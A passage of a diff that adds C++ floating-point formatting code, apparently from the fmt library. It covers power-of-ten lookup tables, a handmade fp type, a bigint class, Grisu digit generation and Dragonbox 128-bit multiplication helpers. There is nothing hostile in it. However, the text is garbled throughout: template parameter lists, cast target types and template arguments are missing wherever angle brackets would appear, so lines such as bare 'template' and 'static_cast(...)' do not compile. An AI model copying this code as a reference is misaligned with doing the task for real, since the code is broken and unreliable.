{0x8a5296ffe33cc92f, 0x82bd6b70d99aaa6f}, + {0xace73cbfdc0bfb7b, 0x636cc64d1001550b}, + {0xd8210befd30efa5a, 0x3c47f7e05401aa4e}, + {0x8714a775e3e95c78, 0x65acfaec34810a71}, + {0xa8d9d1535ce3b396, 0x7f1839a741a14d0d}, + {0xd31045a8341ca07c, 0x1ede48111209a050}, + {0x83ea2b892091e44d, 0x934aed0aab460432}, + {0xa4e4b66b68b65d60, 0xf81da84d5617853f}, + {0xce1de40642e3f4b9, 0x36251260ab9d668e}, + {0x80d2ae83e9ce78f3, 0xc1d72b7c6b426019}, + {0xa1075a24e4421730, 0xb24cf65b8612f81f}, + {0xc94930ae1d529cfc, 0xdee033f26797b627}, + {0xfb9b7cd9a4a7443c, 0x169840ef017da3b1}, + {0x9d412e0806e88aa5, 0x8e1f289560ee864e}, + {0xc491798a08a2ad4e, 0xf1a6f2bab92a27e2}, + {0xf5b5d7ec8acb58a2, 0xae10af696774b1db}, + {0x9991a6f3d6bf1765, 0xacca6da1e0a8ef29}, + {0xbff610b0cc6edd3f, 0x17fd090a58d32af3}, + {0xeff394dcff8a948e, 0xddfc4b4cef07f5b0}, + {0x95f83d0a1fb69cd9, 0x4abdaf101564f98e}, + {0xbb764c4ca7a4440f, 0x9d6d1ad41abe37f1}, + {0xea53df5fd18d5513, 0x84c86189216dc5ed}, + {0x92746b9be2f8552c, 0x32fd3cf5b4e49bb4}, + {0xb7118682dbb66a77, 0x3fbc8c33221dc2a1}, + {0xe4d5e82392a40515, 0x0fabaf3feaa5334a}, + {0x8f05b1163ba6832d, 0x29cb4d87f2a7400e}, + {0xb2c71d5bca9023f8, 0x743e20e9ef511012}, + {0xdf78e4b2bd342cf6, 0x914da9246b255416}, + {0x8bab8eefb6409c1a, 0x1ad089b6c2f7548e}, + {0xae9672aba3d0c320, 0xa184ac2473b529b1}, + {0xda3c0f568cc4f3e8, 0xc9e5d72d90a2741e}, + {0x8865899617fb1871, 0x7e2fa67c7a658892}, + {0xaa7eebfb9df9de8d, 0xddbb901b98feeab7}, + {0xd51ea6fa85785631, 0x552a74227f3ea565}, + {0x8533285c936b35de, 0xd53a88958f87275f}, + {0xa67ff273b8460356, 0x8a892abaf368f137}, + {0xd01fef10a657842c, 0x2d2b7569b0432d85}, + {0x8213f56a67f6b29b, 0x9c3b29620e29fc73}, + {0xa298f2c501f45f42, 0x8349f3ba91b47b8f}, + {0xcb3f2f7642717713, 0x241c70a936219a73}, + {0xfe0efb53d30dd4d7, 0xed238cd383aa0110}, + {0x9ec95d1463e8a506, 0xf4363804324a40aa}, + {0xc67bb4597ce2ce48, 0xb143c6053edcd0d5}, + {0xf81aa16fdc1b81da, 0xdd94b7868e94050a}, + {0x9b10a4e5e9913128, 0xca7cf2b4191c8326}, + {0xc1d4ce1f63f57d72, 0xfd1c2f611f63a3f0}, + {0xf24a01a73cf2dccf, 0xbc633b39673c8cec}, + {0x976e41088617ca01, 0xd5be0503e085d813}, + {0xbd49d14aa79dbc82, 0x4b2d8644d8a74e18}, + {0xec9c459d51852ba2, 0xddf8e7d60ed1219e}, + {0x93e1ab8252f33b45, 0xcabb90e5c942b503}, + {0xb8da1662e7b00a17, 0x3d6a751f3b936243}, + {0xe7109bfba19c0c9d, 0x0cc512670a783ad4}, + {0x906a617d450187e2, 0x27fb2b80668b24c5}, + {0xb484f9dc9641e9da, 0xb1f9f660802dedf6}, + {0xe1a63853bbd26451, 0x5e7873f8a0396973}, + {0x8d07e33455637eb2, 0xdb0b487b6423e1e8}, + {0xb049dc016abc5e5f, 0x91ce1a9a3d2cda62}, + {0xdc5c5301c56b75f7, 0x7641a140cc7810fb}, + {0x89b9b3e11b6329ba, 0xa9e904c87fcb0a9d}, + {0xac2820d9623bf429, 0x546345fa9fbdcd44}, + {0xd732290fbacaf133, 0xa97c177947ad4095}, + {0x867f59a9d4bed6c0, 0x49ed8eabcccc485d}, + {0xa81f301449ee8c70, 0x5c68f256bfff5a74}, + {0xd226fc195c6a2f8c, 0x73832eec6fff3111}, + {0x83585d8fd9c25db7, 0xc831fd53c5ff7eab}, + {0xa42e74f3d032f525, 0xba3e7ca8b77f5e55}, + {0xcd3a1230c43fb26f, 0x28ce1bd2e55f35eb}, + {0x80444b5e7aa7cf85, 0x7980d163cf5b81b3}, + {0xa0555e361951c366, 0xd7e105bcc332621f}, + {0xc86ab5c39fa63440, 0x8dd9472bf3fefaa7}, + {0xfa856334878fc150, 0xb14f98f6f0feb951}, + {0x9c935e00d4b9d8d2, 0x6ed1bf9a569f33d3}, + {0xc3b8358109e84f07, 0x0a862f80ec4700c8}, + {0xf4a642e14c6262c8, 0xcd27bb612758c0fa}, + {0x98e7e9cccfbd7dbd, 0x8038d51cb897789c}, + {0xbf21e44003acdd2c, 0xe0470a63e6bd56c3}, + {0xeeea5d5004981478, 0x1858ccfce06cac74}, + {0x95527a5202df0ccb, 0x0f37801e0c43ebc8}, + {0xbaa718e68396cffd, 0xd30560258f54e6ba}, + {0xe950df20247c83fd, 0x47c6b82ef32a2069}, + {0x91d28b7416cdd27e, 0x4cdc331d57fa5441}, + {0xb6472e511c81471d, 0xe0133fe4adf8e952}, + {0xe3d8f9e563a198e5, 0x58180fddd97723a6}, + {0x8e679c2f5e44ff8f, 0x570f09eaa7ea7648}, + {0xb201833b35d63f73, 0x2cd2cc6551e513da}, + {0xde81e40a034bcf4f, 0xf8077f7ea65e58d1}, + {0x8b112e86420f6191, 0xfb04afaf27faf782}, + {0xadd57a27d29339f6, 0x79c5db9af1f9b563}, + {0xd94ad8b1c7380874, 0x18375281ae7822bc}, + {0x87cec76f1c830548, 0x8f2293910d0b15b5}, + {0xa9c2794ae3a3c69a, 0xb2eb3875504ddb22}, + {0xd433179d9c8cb841, 0x5fa60692a46151eb}, + {0x849feec281d7f328, 0xdbc7c41ba6bcd333}, + {0xa5c7ea73224deff3, 0x12b9b522906c0800}, + {0xcf39e50feae16bef, 0xd768226b34870a00}, + {0x81842f29f2cce375, 0xe6a1158300d46640}, + {0xa1e53af46f801c53, 0x60495ae3c1097fd0}, + {0xca5e89b18b602368, 0x385bb19cb14bdfc4}, + {0xfcf62c1dee382c42, 0x46729e03dd9ed7b5}, + {0x9e19db92b4e31ba9, 0x6c07a2c26a8346d1}, + {0xc5a05277621be293, 0xc7098b7305241885}, + {0xf70867153aa2db38, 0xb8cbee4fc66d1ea7} +#else + {0xff77b1fcbebcdc4f, 0x25e8e89c13bb0f7b}, + {0xce5d73ff402d98e3, 0xfb0a3d212dc81290}, + {0xa6b34ad8c9dfc06f, 0xf42faa48c0ea481f}, + {0x86a8d39ef77164bc, 0xae5dff9c02033198}, + {0xd98ddaee19068c76, 0x3badd624dd9b0958}, + {0xafbd2350644eeacf, 0xe5d1929ef90898fb}, + {0x8df5efabc5979c8f, 0xca8d3ffa1ef463c2}, + {0xe55990879ddcaabd, 0xcc420a6a101d0516}, + {0xb94470938fa89bce, 0xf808e40e8d5b3e6a}, + {0x95a8637627989aad, 0xdde7001379a44aa9}, + {0xf1c90080baf72cb1, 0x5324c68b12dd6339}, + {0xc350000000000000, 0x0000000000000000}, + {0x9dc5ada82b70b59d, 0xf020000000000000}, + {0xfee50b7025c36a08, 0x02f236d04753d5b4}, + {0xcde6fd5e09abcf26, 0xed4c0226b55e6f86}, + {0xa6539930bf6bff45, 0x84db8346b786151c}, + {0x865b86925b9bc5c2, 0x0b8a2392ba45a9b2}, + {0xd910f7ff28069da4, 0x1b2ba1518094da04}, + {0xaf58416654a6babb, 0x387ac8d1970027b2}, + {0x8da471a9de737e24, 0x5ceaecfed289e5d2}, + {0xe4d5e82392a40515, 0x0fabaf3feaa5334a}, + {0xb8da1662e7b00a17, 0x3d6a751f3b936243}, + {0x95527a5202df0ccb, 0x0f37801e0c43ebc8} +#endif +}; + +#if !FMT_USE_FULL_CACHE_DRAGONBOX +template +const uint64_t basic_data::powers_of_5_64[] = { + 0x0000000000000001, 0x0000000000000005, 0x0000000000000019, + 0x000000000000007d, 0x0000000000000271, 0x0000000000000c35, + 0x0000000000003d09, 0x000000000001312d, 0x000000000005f5e1, + 0x00000000001dcd65, 0x00000000009502f9, 0x0000000002e90edd, + 0x000000000e8d4a51, 0x0000000048c27395, 0x000000016bcc41e9, + 0x000000071afd498d, 0x0000002386f26fc1, 0x000000b1a2bc2ec5, + 0x000003782dace9d9, 0x00001158e460913d, 0x000056bc75e2d631, + 0x0001b1ae4d6e2ef5, 0x000878678326eac9, 0x002a5a058fc295ed, + 0x00d3c21bcecceda1, 0x0422ca8b0a00a425, 0x14adf4b7320334b9}; + +template +const uint32_t basic_data::dragonbox_pow10_recovery_errors[] = { + 0x50001400, 0x54044100, 0x54014555, 0x55954415, 0x54115555, 0x00000001, + 0x50000000, 0x00104000, 0x54010004, 0x05004001, 0x55555544, 0x41545555, + 0x54040551, 0x15445545, 0x51555514, 0x10000015, 0x00101100, 0x01100015, + 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x04450514, 0x45414110, + 0x55555145, 0x50544050, 0x15040155, 0x11054140, 0x50111514, 0x11451454, + 0x00400541, 0x00000000, 0x55555450, 0x10056551, 0x10054011, 0x55551014, + 0x69514555, 0x05151109, 0x00155555}; +#endif + +template +const char basic_data::foreground_color[] = "\x1b[38;2;"; +template +const char basic_data::background_color[] = "\x1b[48;2;"; +template const char basic_data::reset_color[] = "\x1b[0m"; +template const wchar_t basic_data::wreset_color[] = L"\x1b[0m"; +template const char basic_data::signs[] = {0, '-', '+', ' '}; + +#if __cplusplus < 201703L +template constexpr const char basic_data::hex_digits[]; +template constexpr const unsigned basic_data::prefixes[]; +template constexpr const char basic_data::left_padding_shifts[]; +template +constexpr const char basic_data::right_padding_shifts[]; +#endif + +template struct bits { + static FMT_CONSTEXPR_DECL const int value = + static_cast(sizeof(T) * std::numeric_limits::digits); +}; + +class fp; +template fp normalize(fp value); + +// Lower (upper) boundary is a value half way between a floating-point value +// and its predecessor (successor). Boundaries have the same exponent as the +// value so only significands are stored. +struct boundaries { + uint64_t lower; + uint64_t upper; +}; + +// A handmade floating-point number f * pow(2, e). +class fp { + private: + using significand_type = uint64_t; + + template + using is_supported_float = bool_constant; + + public: + significand_type f; + int e; + + // All sizes are in bits. + // Subtract 1 to account for an implicit most significant bit in the + // normalized form. + static FMT_CONSTEXPR_DECL const int double_significand_size = + std::numeric_limits::digits - 1; + static FMT_CONSTEXPR_DECL const uint64_t implicit_bit = + 1ULL << double_significand_size; + static FMT_CONSTEXPR_DECL const int significand_size = + bits::value; + + fp() : f(0), e(0) {} + fp(uint64_t f_val, int e_val) : f(f_val), e(e_val) {} + + // Constructs fp from an IEEE754 double. It is a template to prevent compile + // errors on platforms where double is not IEEE754. + template explicit fp(Double d) { assign(d); } + + // Assigns d to this and return true iff predecessor is closer than successor. + template ::value)> + bool assign(Float d) { + // Assume float is in the format [sign][exponent][significand]. + using limits = std::numeric_limits; + const int float_significand_size = limits::digits - 1; + const int exponent_size = + bits::value - float_significand_size - 1; // -1 for sign + const uint64_t float_implicit_bit = 1ULL << float_significand_size; + const uint64_t significand_mask = float_implicit_bit - 1; + const uint64_t exponent_mask = (~0ULL >> 1) & ~significand_mask; + const int exponent_bias = (1 << exponent_size) - limits::max_exponent - 1; + constexpr bool is_double = sizeof(Float) == sizeof(uint64_t); + auto u = bit_cast>(d); + f = u & significand_mask; + int biased_e = + static_cast((u & exponent_mask) >> float_significand_size); + // Predecessor is closer if d is a normalized power of 2 (f == 0) other than + // the smallest normalized number (biased_e > 1). + bool is_predecessor_closer = f == 0 && biased_e > 1; + if (biased_e != 0) + f += float_implicit_bit; + else + biased_e = 1; // Subnormals use biased exponent 1 (min exponent). + e = biased_e - exponent_bias - float_significand_size; + return is_predecessor_closer; + } + + template ::value)> + bool assign(Float) { + *this = fp(); + return false; + } +}; + +// Normalizes the value converted from double and multiplied by (1 << SHIFT). +template fp normalize(fp value) { + // Handle subnormals. + const auto shifted_implicit_bit = fp::implicit_bit << SHIFT; + while ((value.f & shifted_implicit_bit) == 0) { + value.f <<= 1; + --value.e; + } + // Subtract 1 to account for hidden bit. + const auto offset = + fp::significand_size - fp::double_significand_size - SHIFT - 1; + value.f <<= offset; + value.e -= offset; + return value; +} + +inline bool operator==(fp x, fp y) { return x.f == y.f && x.e == y.e; } + +// Computes lhs * rhs / pow(2, 64) rounded to nearest with half-up tie breaking. +inline uint64_t multiply(uint64_t lhs, uint64_t rhs) { +#if FMT_USE_INT128 + auto product = static_cast<__uint128_t>(lhs) * rhs; + auto f = static_cast(product >> 64); + return (static_cast(product) & (1ULL << 63)) != 0 ? f + 1 : f; +#else + // Multiply 32-bit parts of significands. + uint64_t mask = (1ULL << 32) - 1; + uint64_t a = lhs >> 32, b = lhs & mask; + uint64_t c = rhs >> 32, d = rhs & mask; + uint64_t ac = a * c, bc = b * c, ad = a * d, bd = b * d; + // Compute mid 64-bit of result and round. + uint64_t mid = (bd >> 32) + (ad & mask) + (bc & mask) + (1U << 31); + return ac + (ad >> 32) + (bc >> 32) + (mid >> 32); +#endif +} + +inline fp operator*(fp x, fp y) { return {multiply(x.f, y.f), x.e + y.e + 64}; } + +// Returns a cached power of 10 `c_k = c_k.f * pow(2, c_k.e)` such that its +// (binary) exponent satisfies `min_exponent <= c_k.e <= min_exponent + 28`. +inline fp get_cached_power(int min_exponent, int& pow10_exponent) { + const int shift = 32; + const auto significand = static_cast(data::log10_2_significand); + int index = static_cast( + ((min_exponent + fp::significand_size - 1) * (significand >> shift) + + ((int64_t(1) << shift) - 1)) // ceil + >> 32 // arithmetic shift + ); + // Decimal exponent of the first (smallest) cached power of 10. + const int first_dec_exp = -348; + // Difference between 2 consecutive decimal exponents in cached powers of 10. + const int dec_exp_step = 8; + index = (index - first_dec_exp - 1) / dec_exp_step + 1; + pow10_exponent = first_dec_exp + index * dec_exp_step; + return {data::grisu_pow10_significands[index], + data::grisu_pow10_exponents[index]}; +} + +// A simple accumulator to hold the sums of terms in bigint::square if uint128_t +// is not available. +struct accumulator { + uint64_t lower; + uint64_t upper; + + accumulator() : lower(0), upper(0) {} + explicit operator uint32_t() const { return static_cast(lower); } + + void operator+=(uint64_t n) { + lower += n; + if (lower < n) ++upper; + } + void operator>>=(int shift) { + FMT_ASSERT(shift == 32, ""); + (void)shift; + lower = (upper << 32) | (lower >> 32); + upper >>= 32; + } +}; + +class bigint { + private: + // A bigint is stored as an array of bigits (big digits), with bigit at index + // 0 being the least significant one. + using bigit = uint32_t; + using double_bigit = uint64_t; + enum { bigits_capacity = 32 }; + basic_memory_buffer bigits_; + int exp_; + + bigit operator[](int index) const { return bigits_[to_unsigned(index)]; } + bigit& operator[](int index) { return bigits_[to_unsigned(index)]; } + + static FMT_CONSTEXPR_DECL const int bigit_bits = bits::value; + + friend struct formatter; + + void subtract_bigits(int index, bigit other, bigit& borrow) { + auto result = static_cast((*this)[index]) - other - borrow; + (*this)[index] = static_cast(result); + borrow = static_cast(result >> (bigit_bits * 2 - 1)); + } + + void remove_leading_zeros() { + int num_bigits = static_cast(bigits_.size()) - 1; + while (num_bigits > 0 && (*this)[num_bigits] == 0) --num_bigits; + bigits_.resize(to_unsigned(num_bigits + 1)); + } + + // Computes *this -= other assuming aligned bigints and *this >= other. + void subtract_aligned(const bigint& other) { + FMT_ASSERT(other.exp_ >= exp_, "unaligned bigints"); + FMT_ASSERT(compare(*this, other) >= 0, ""); + bigit borrow = 0; + int i = other.exp_ - exp_; + for (size_t j = 0, n = other.bigits_.size(); j != n; ++i, ++j) + subtract_bigits(i, other.bigits_[j], borrow); + while (borrow > 0) subtract_bigits(i, 0, borrow); + remove_leading_zeros(); + } + + void multiply(uint32_t value) { + const double_bigit wide_value = value; + bigit carry = 0; + for (size_t i = 0, n = bigits_.size(); i < n; ++i) { + double_bigit result = bigits_[i] * wide_value + carry; + bigits_[i] = static_cast(result); + carry = static_cast(result >> bigit_bits); + } + if (carry != 0) bigits_.push_back(carry); + } + + void multiply(uint64_t value) { + const bigit mask = ~bigit(0); + const double_bigit lower = value & mask; + const double_bigit upper = value >> bigit_bits; + double_bigit carry = 0; + for (size_t i = 0, n = bigits_.size(); i < n; ++i) { + double_bigit result = bigits_[i] * lower + (carry & mask); + carry = + bigits_[i] * upper + (result >> bigit_bits) + (carry >> bigit_bits); + bigits_[i] = static_cast(result); + } + while (carry != 0) { + bigits_.push_back(carry & mask); + carry >>= bigit_bits; + } + } + + public: + bigint() : exp_(0) {} + explicit bigint(uint64_t n) { assign(n); } + ~bigint() { FMT_ASSERT(bigits_.capacity() <= bigits_capacity, ""); } + + bigint(const bigint&) = delete; + void operator=(const bigint&) = delete; + + void assign(const bigint& other) { + auto size = other.bigits_.size(); + bigits_.resize(size); + auto data = other.bigits_.data(); + std::copy(data, data + size, make_checked(bigits_.data(), size)); + exp_ = other.exp_; + } + + void assign(uint64_t n) { + size_t num_bigits = 0; + do { + bigits_[num_bigits++] = n & ~bigit(0); + n >>= bigit_bits; + } while (n != 0); + bigits_.resize(num_bigits); + exp_ = 0; + } + + int num_bigits() const { return static_cast(bigits_.size()) + exp_; } + + FMT_NOINLINE bigint& operator<<=(int shift) { + FMT_ASSERT(shift >= 0, ""); + exp_ += shift / bigit_bits; + shift %= bigit_bits; + if (shift == 0) return *this; + bigit carry = 0; + for (size_t i = 0, n = bigits_.size(); i < n; ++i) { + bigit c = bigits_[i] >> (bigit_bits - shift); + bigits_[i] = (bigits_[i] << shift) + carry; + carry = c; + } + if (carry != 0) bigits_.push_back(carry); + return *this; + } + + template bigint& operator*=(Int value) { + FMT_ASSERT(value > 0, ""); + multiply(uint32_or_64_or_128_t(value)); + return *this; + } + + friend int compare(const bigint& lhs, const bigint& rhs) { + int num_lhs_bigits = lhs.num_bigits(), num_rhs_bigits = rhs.num_bigits(); + if (num_lhs_bigits != num_rhs_bigits) + return num_lhs_bigits > num_rhs_bigits ? 1 : -1; + int i = static_cast(lhs.bigits_.size()) - 1; + int j = static_cast(rhs.bigits_.size()) - 1; + int end = i - j; + if (end < 0) end = 0; + for (; i >= end; --i, --j) { + bigit lhs_bigit = lhs[i], rhs_bigit = rhs[j]; + if (lhs_bigit != rhs_bigit) return lhs_bigit > rhs_bigit ? 1 : -1; + } + if (i != j) return i > j ? 1 : -1; + return 0; + } + + // Returns compare(lhs1 + lhs2, rhs). + friend int add_compare(const bigint& lhs1, const bigint& lhs2, + const bigint& rhs) { + int max_lhs_bigits = (std::max)(lhs1.num_bigits(), lhs2.num_bigits()); + int num_rhs_bigits = rhs.num_bigits(); + if (max_lhs_bigits + 1 < num_rhs_bigits) return -1; + if (max_lhs_bigits > num_rhs_bigits) return 1; + auto get_bigit = [](const bigint& n, int i) -> bigit { + return i >= n.exp_ && i < n.num_bigits() ? n[i - n.exp_] : 0; + }; + double_bigit borrow = 0; + int min_exp = (std::min)((std::min)(lhs1.exp_, lhs2.exp_), rhs.exp_); + for (int i = num_rhs_bigits - 1; i >= min_exp; --i) { + double_bigit sum = + static_cast(get_bigit(lhs1, i)) + get_bigit(lhs2, i); + bigit rhs_bigit = get_bigit(rhs, i); + if (sum > rhs_bigit + borrow) return 1; + borrow = rhs_bigit + borrow - sum; + if (borrow > 1) return -1; + borrow <<= bigit_bits; + } + return borrow != 0 ? -1 : 0; + } + + // Assigns pow(10, exp) to this bigint. + void assign_pow10(int exp) { + FMT_ASSERT(exp >= 0, ""); + if (exp == 0) return assign(1); + // Find the top bit. + int bitmask = 1; + while (exp >= bitmask) bitmask <<= 1; + bitmask >>= 1; + // pow(10, exp) = pow(5, exp) * pow(2, exp). First compute pow(5, exp) by + // repeated squaring and multiplication. + assign(5); + bitmask >>= 1; + while (bitmask != 0) { + square(); + if ((exp & bitmask) != 0) *this *= 5; + bitmask >>= 1; + } + *this <<= exp; // Multiply by pow(2, exp) by shifting. + } + + void square() { + basic_memory_buffer n(std::move(bigits_)); + int num_bigits = static_cast(bigits_.size()); + int num_result_bigits = 2 * num_bigits; + bigits_.resize(to_unsigned(num_result_bigits)); + using accumulator_t = conditional_t; + auto sum = accumulator_t(); + for (int bigit_index = 0; bigit_index < num_bigits; ++bigit_index) { + // Compute bigit at position bigit_index of the result by adding + // cross-product terms n[i] * n[j] such that i + j == bigit_index. + for (int i = 0, j = bigit_index; j >= 0; ++i, --j) { + // Most terms are multiplied twice which can be optimized in the future. + sum += static_cast(n[i]) * n[j]; + } + (*this)[bigit_index] = static_cast(sum); + sum >>= bits::value; // Compute the carry. + } + // Do the same for the top half. + for (int bigit_index = num_bigits; bigit_index < num_result_bigits; + ++bigit_index) { + for (int j = num_bigits - 1, i = bigit_index - j; i < num_bigits;) + sum += static_cast(n[i++]) * n[j--]; + (*this)[bigit_index] = static_cast(sum); + sum >>= bits::value; + } + --num_result_bigits; + remove_leading_zeros(); + exp_ *= 2; + } + + // If this bigint has a bigger exponent than other, adds trailing zero to make + // exponents equal. This simplifies some operations such as subtraction. + void align(const bigint& other) { + int exp_difference = exp_ - other.exp_; + if (exp_difference <= 0) return; + int num_bigits = static_cast(bigits_.size()); + bigits_.resize(to_unsigned(num_bigits + exp_difference)); + for (int i = num_bigits - 1, j = i + exp_difference; i >= 0; --i, --j) + bigits_[j] = bigits_[i]; + std::uninitialized_fill_n(bigits_.data(), exp_difference, 0); + exp_ -= exp_difference; + } + + // Divides this bignum by divisor, assigning the remainder to this and + // returning the quotient. + int divmod_assign(const bigint& divisor) { + FMT_ASSERT(this != &divisor, ""); + if (compare(*this, divisor) < 0) return 0; + FMT_ASSERT(divisor.bigits_[divisor.bigits_.size() - 1u] != 0, ""); + align(divisor); + int quotient = 0; + do { + subtract_aligned(divisor); + ++quotient; + } while (compare(*this, divisor) >= 0); + return quotient; + } +}; + +enum class round_direction { unknown, up, down }; + +// Given the divisor (normally a power of 10), the remainder = v % divisor for +// some number v and the error, returns whether v should be rounded up, down, or +// whether the rounding direction can't be determined due to error. +// error should be less than divisor / 2. +inline round_direction get_round_direction(uint64_t divisor, uint64_t remainder, + uint64_t error) { + FMT_ASSERT(remainder < divisor, ""); // divisor - remainder won't overflow. + FMT_ASSERT(error < divisor, ""); // divisor - error won't overflow. + FMT_ASSERT(error < divisor - error, ""); // error * 2 won't overflow. + // Round down if (remainder + error) * 2 <= divisor. + if (remainder <= divisor - remainder && error * 2 <= divisor - remainder * 2) + return round_direction::down; + // Round up if (remainder - error) * 2 >= divisor. + if (remainder >= error && + remainder - error >= divisor - (remainder - error)) { + return round_direction::up; + } + return round_direction::unknown; +} + +namespace digits { +enum result { + more, // Generate more digits. + done, // Done generating digits. + error // Digit generation cancelled due to an error. +}; +} + +// Generates output using the Grisu digit-gen algorithm. +// error: the size of the region (lower, upper) outside of which numbers +// definitely do not round to value (Delta in Grisu3). +template +FMT_ALWAYS_INLINE digits::result grisu_gen_digits(fp value, uint64_t error, + int& exp, Handler& handler) { + const fp one(1ULL << -value.e, value.e); + // The integral part of scaled value (p1 in Grisu) = value / one. It cannot be + // zero because it contains a product of two 64-bit numbers with MSB set (due + // to normalization) - 1, shifted right by at most 60 bits. + auto integral = static_cast(value.f >> -one.e); + FMT_ASSERT(integral != 0, ""); + FMT_ASSERT(integral == value.f >> -one.e, ""); + // The fractional part of scaled value (p2 in Grisu) c = value % one. + uint64_t fractional = value.f & (one.f - 1); + exp = count_digits(integral); // kappa in Grisu. + // Divide by 10 to prevent overflow. + auto result = handler.on_start(data::powers_of_10_64[exp - 1] << -one.e, + value.f / 10, error * 10, exp); + if (result != digits::more) return result; + // Generate digits for the integral part. This can produce up to 10 digits. + do { + uint32_t digit = 0; + auto divmod_integral = [&](uint32_t divisor) { + digit = integral / divisor; + integral %= divisor; + }; + // This optimization by Milo Yip reduces the number of integer divisions by + // one per iteration. + switch (exp) { + case 10: + divmod_integral(1000000000); + break; + case 9: + divmod_integral(100000000); + break; + case 8: + divmod_integral(10000000); + break; + case 7: + divmod_integral(1000000); + break; + case 6: + divmod_integral(100000); + break; + case 5: + divmod_integral(10000); + break; + case 4: + divmod_integral(1000); + break; + case 3: + divmod_integral(100); + break; + case 2: + divmod_integral(10); + break; + case 1: + digit = integral; + integral = 0; + break; + default: + FMT_ASSERT(false, "invalid number of digits"); + } + --exp; + auto remainder = (static_cast(integral) << -one.e) + fractional; + result = handler.on_digit(static_cast('0' + digit), + data::powers_of_10_64[exp] << -one.e, remainder, + error, exp, true); + if (result != digits::more) return result; + } while (exp > 0); + // Generate digits for the fractional part. + for (;;) { + fractional *= 10; + error *= 10; + char digit = static_cast('0' + (fractional >> -one.e)); + fractional &= one.f - 1; + --exp; + result = handler.on_digit(digit, one.f, fractional, error, exp, false); + if (result != digits::more) return result; + } +} + +// The fixed precision digit handler. +struct fixed_handler { + char* buf; + int size; + int precision; + int exp10; + bool fixed; + + digits::result on_start(uint64_t divisor, uint64_t remainder, uint64_t error, + int& exp) { + // Non-fixed formats require at least one digit and no precision adjustment. + if (!fixed) return digits::more; + // Adjust fixed precision by exponent because it is relative to decimal + // point. + precision += exp + exp10; + // Check if precision is satisfied just by leading zeros, e.g. + // format("{:.2f}", 0.001) gives "0.00" without generating any digits. + if (precision > 0) return digits::more; + if (precision < 0) return digits::done; + auto dir = get_round_direction(divisor, remainder, error); + if (dir == round_direction::unknown) return digits::error; + buf[size++] = dir == round_direction::up ? '1' : '0'; + return digits::done; + } + + digits::result on_digit(char digit, uint64_t divisor, uint64_t remainder, + uint64_t error, int, bool integral) { + FMT_ASSERT(remainder < divisor, ""); + buf[size++] = digit; + if (!integral && error >= remainder) return digits::error; + if (size < precision) return digits::more; + if (!integral) { + // Check if error * 2 < divisor with overflow prevention. + // The check is not needed for the integral part because error = 1 + // and divisor > (1 << 32) there. + if (error >= divisor || error >= divisor - error) return digits::error; + } else { + FMT_ASSERT(error == 1 && divisor > 2, ""); + } + auto dir = get_round_direction(divisor, remainder, error); + if (dir != round_direction::up) + return dir == round_direction::down ? digits::done : digits::error; + ++buf[size - 1]; + for (int i = size - 1; i > 0 && buf[i] > '9'; --i) { + buf[i] = '0'; + ++buf[i - 1]; + } + if (buf[0] > '9') { + buf[0] = '1'; + if (fixed) + buf[size++] = '0'; + else + ++exp10; + } + return digits::done; + } +}; + +// Implementation of Dragonbox algorithm: https://github.com/jk-jeon/dragonbox. +namespace dragonbox { +// Computes 128-bit result of multiplication of two 64-bit unsigned integers. +inline uint128_wrapper umul128(uint64_t x, uint64_t y) FMT_NOEXCEPT { +#if FMT_USE_INT128 + return static_cast(x) * static_cast(y); +#elif defined(_MSC_VER) && defined(_M_X64) + uint128_wrapper result; + result.low_ = _umul128(x, y, &result.high_); + return result; +#else + const uint64_t mask = (uint64_t(1) << 32) - uint64_t(1); + + uint64_t a = x >> 32; + uint64_t b = x & mask; + uint64_t c = y >> 32; + uint64_t d = y & mask; + + uint64_t ac = a * c; + uint64_t bc = b * c; + uint64_t ad = a * d; + uint64_t bd = b * d; + + uint64_t intermediate = (bd >> 32) + (ad & mask) + (bc & mask); + + return {ac + (intermediate >> 32) + (ad >> 32) + (bc >> 32), + (intermediate << 32) + (bd & mask)}; +#endif +} + +// Computes upper 64 bits of multiplication of two 64-bit unsigned integers. +inline uint64_t umul128_upper64(uint64_t x, uint64_t y) FMT_NOEXCEPT { +#if FMT_USE_INT128 + auto p = static_cast(x) * static_cast(y); + return static_cast(p >> 64); +#elif defined(_MSC_VER) && defined(_M_X64) + return __umulh(x, y); +#else + return umul128(x, y).high(); +#endif +} + +// Computes upper 64 bits of multiplication of a 64-bit unsigned integer and a +// 128-bit unsigned integer. +inline uint64_t umul192_upper64(uint64_t x, uint128_wrapper y) FMT_NOEXCEPT { + uint128_wrapper g0 = umul128(x, y.high()); + g0 += umul128_upper64(x, y.low()); + return g0.high(); +} + +// Computes upper 32 bits of multiplication of a 32-bit unsigned integer and a +// 64-bit unsigned integer. +inline uint32_t umul96_upper32(uint32_t x, uint64_t y) FMT_NOEXCEPT { + return static_cast(umul128_upper64(x, y)); +} + +// Computes middle 64 bits of multiplication of a 64-bit unsigned integer and a +// 128-bit unsigned integer. +inline uint64_t umul192_middle64(uint64_t x, uint128_wrapper y) FMT_NOEXCEPT { + uint64_t g01 = x * y.high(); + uint64_t g10 = umul128_upper64(x, y.low()); + return g01 + g10; +} + +// Computes lower 64 bits of multiplication of a 32-bit unsigned integer and a +// 64-bit unsigned integer. +inline uint64_t umul96_lower64(uint32_t x, uint64_t y) FMT_NOEXCEPT { + return x * y; +} + +// Computes floor(log10(pow(2, e))) for e in [-1700, 1700] using the method from +// https://fmt.dev/papers/Grisu-Exact.pdf#page=5, section 3.4. +inline int floor_log10_pow2(int e) FMT_NOEXCEPT { + FMT_ASSERT(e <= 1700 && e >= -1700, "too large exponent"); + const int shift = 22; + return (e * static_cast(data::log10_2_significand >> (64 - shift))) >> + shift; +} + +// Various fast log computations. +inline int floor_log2_pow10(int e) FMT_NOEXCEPT { + FMT_ASSERT(e <= 1233 && e >= -1233, "too large exponent"); + const uint64_t log2_10_integer_part = 3; + const uint64_t log2_10_fractional_digits = 0x5269e12f346e2bf9; + const int shift_amount = 19; + return (e * static_cast( + (log2_10_integer_part << shift_amount) | + (log2_10_fractional_digits >> (64 - shift_amount)))) >> + shift_amount; +} +inline int floor_log10_pow2_minus_log10_4_over_3(int e) FMT_NOEXCEPT { + FMT_ASSERT(e <= 1700 && e >= -1700, "too large exponent"); + const uint64_t log10_4_over_3_fractional_digits = 0x1ffbfc2bbc780375; + const int shift_amount = 22; + return (e * static_cast(data::log10_2_significand >> + (64 - shift_amount)) - + static_cast(log10_4_over_3_fractional_digits >> + (64 - shift_amount))) >> + shift_amount; +} + +// Returns true iff x is divisible by pow(2, exp). +inline bool 